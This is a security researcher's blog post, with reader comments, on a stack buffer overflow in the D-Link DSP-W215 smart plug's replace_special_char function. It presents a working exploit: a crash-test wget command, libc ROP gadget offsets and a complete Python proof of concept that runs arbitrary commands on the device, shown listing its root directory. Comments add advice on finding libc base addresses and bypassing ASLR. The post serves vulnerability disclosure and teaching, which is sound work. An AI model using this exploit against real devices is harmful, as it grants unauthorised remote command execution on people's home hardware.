Hacking the DSP-W215, Again, Again

Here we go again…again.

In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:

Checking the POST parameter name against "storage_path" and "path"

Checking the POST parameter name against “storage_path” and “path”

The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:



The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:

List of ASCII characters to be URL decoded, if necessary

List of ASCII characters to be URL decoded, if necessary

To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:

post_value_length = strlen(post_data);

post_value_length = strlen(post_data);

And loops through post_value_length bytes:

Loop while i < post_value_length

Loop while i < post_value_length[/caption] On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf: [caption id="attachment_2189" align="aligncenter" width="615"]decode_buf[j] = post_data[i]; decode_buf[j] = post_data[i];

Essentially, it’s doing this:

void replace_special_char(char *post_data)
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;

    memset(decode_buf, 0, sizeof(decode_buf));

    post_value_length = strlen(post_data);

    while(i < post_value_length)
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...

        // No bounds checking on index j!
        decode_buf[j] = post_data[i];



Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:

Stack layout of replace_special_char

Stack layout of replace_special_char

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')"
$ra = 0x42424242

$ra = 0x42424242

Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.

At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:

First ROP gadget

First ROP gadget

If during the stack overflow we overwrite $s1 with the address of offset 0x34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:

Second ROP gadget

Second ROP gadget

As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:


After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:

#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

    target = sys.argv[1]
    command = sys.argv[2]
    print "Usage: %s <target> <command>" % sys.argv[0]

url = "http://%s/common/info.cgi" % target

buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "\x2A\xBA\xCC\x80"   # $s0, address of system()
buf += "\x2A\xB9\x56\x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care 
buf += "F" * 4              # $s3, don't care
buf += "F" * 4              # $s4, don't care 
buf += "F" * 4              # $s5, don't care
buf += "F" * 4              # $s6, don't care 
buf += "F" * 4              # $s7, don't care 
buf += "F" * 4              # $fp, don't care 
buf += "\x2A\xB6\xCA\x50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

And, as before, we can execute any command, and get the output as well:

$ ./exploit2.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Bookmark the permalink.

25 Responses to Hacking the DSP-W215, Again, Again

  1. Stone Arrow Bearson says:

    Blim blom brother’mon
    can’t wait to read this when I get back home!

  2. Pingback: .:[ d4 n3wS ]:. » Le DSP-W215 de D-Link toujours piratable

  3. Christian Vogel says:

    Jose, ROP is “return oriented programming”, e.g. overwrite the return address on the stack with a suitable entry point to a function performing the task intended by the attacker.


  4. anonymous says:

    ROP = return-oriented programming

  5. Per Larsen says:

    Very cool! I’m a researcher at UC Irvine and we have a compiler that stops ROP without screwing up performance, etc. Please email me if you’re interesting in using our technology to stop ROP.

    PS: this is not your typical “ivory tower” research, we can harden Linux, Android and Firefox. Our stuff is being evaluated by Google, Samsung, and others.



  6. Jose Xavier says:

    What should be the solution for this bug? Check if size is bigger than 612bytes per example?

    • Observer says:

      To never write over the bounds of the decode_buf-array. That is, make the while loop condition to be “i < post_value_length && i < sizeof(decode_buf)/sizeof(decode_buf[0])"

  7. fyk says:

    hello, Craig
    I have found this stack overflow in April .however I don’t know how to get libc’s base address, so I can’t exploit it . can you give me some help?

    • Craig says:

      If you chroot/run the binary on an actual MIPS OS (e.g., run Debian MIPS in qemu and execute the target binary from there). You can then cat the /proc/pid/maps file to get the library base addresses, which will be the same as on the target system.

      • fyk says:

        hello Craig,
        I have to trouble you again. I have chroot/run the binary on an actual MIPS OS as you said. But when I run my_cgi.cgi(#chroot . ./my_cgi.cgi &), it run so fast that I can’t catch the pid. How can you hang the process my_cgi.cgi? did you installed the GDB in Debian MIPS OS? Thank you so much!

        • Craig says:

          If you build gdb statically you can execute it directly in the chrooted environment:

          # chroot . ./gdb ./my_cgi.cgi

          Another option is to write/use a tool that will pause my_cgi.cgi as soon as it is executed (see http://botox.googlecode.com). You can then attach to it with a debugger.

          • fyk says:

            Thank you very very much^_^ ! I got the libc base addr today(a hard week for it), and exploit the stack overflow. But it is a pity that GDB is not running(>_<').

  8. Pingback: Breaking into a DSP-W215. | Imaginary Industries

  9. adam says:

    Very cool article, but what you do when ASLR is enable and you can’t predict what are the base addresses of LIBC ? is your only option to ROP gadgets in the main binary?

    • Craig says:

      Same general approaches everyone uses to get around ASLR: find memory that’s not randomized, leak memory addresses, just guess (e.g., the heap spray technique), etc.

      The reality though is that most embedded systems don’t implement ASLR, or at least not full ASLR, even for Linux based devices.